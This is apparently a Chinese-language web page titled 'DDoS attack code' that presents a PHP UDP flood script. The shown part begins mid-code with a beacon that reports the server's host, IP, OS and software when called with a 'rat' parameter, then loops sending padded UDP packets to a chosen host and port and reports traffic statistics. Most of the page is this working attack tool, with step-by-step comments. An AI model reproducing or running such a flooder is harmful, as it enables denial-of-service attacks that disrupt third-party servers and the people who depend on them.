ddos攻击代码

 0) {
        echo $_GET['rat'] . $_SERVER["HTTP_HOST"] . "|" . GetHostByName($_SERVER['SERVER_NAME']) . "|" . php_uname() . "|" . $_SERVER['SERVER_SOFTWARE'] . $_GET['rat'];
        exit;
    }
    echo "Warning to: opening";
    exit;
}
//step2. 设定发字符串$out,这里是“AAAAAAAAAA...”
for ($i = 0; $i < $Sendlen; $i++) {
    $out .= "A";
}
$max_time = time() + $exec_time;
//step3. 进行攻击,使用udp向目标服务器狠狠发串串
while (1) {
    $packets++;
    if (time() > $max_time) {
        break;
    }
    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
    if ($fp) {
        fwrite($fp, $out);
        fclose($fp);
    }
}
//step4. 攻击统计
echo "Send Host $host:$port

"; echo "Send Flow $packets * ($Sendlen/1024=" . round($Sendlen / 1024, 2) . ")kb / 1024 = " . round($packets * $Sendlen / 1024 / 1024, 2) . " mb

"; echo "Send Rate " . round($packets / $exec_time, 2) . " packs/s" . round($packets / $exec_time * $Sendlen / 1024 / 1024, 2) . " mb/s"; ?>


你可能感兴趣的:(hacker,php)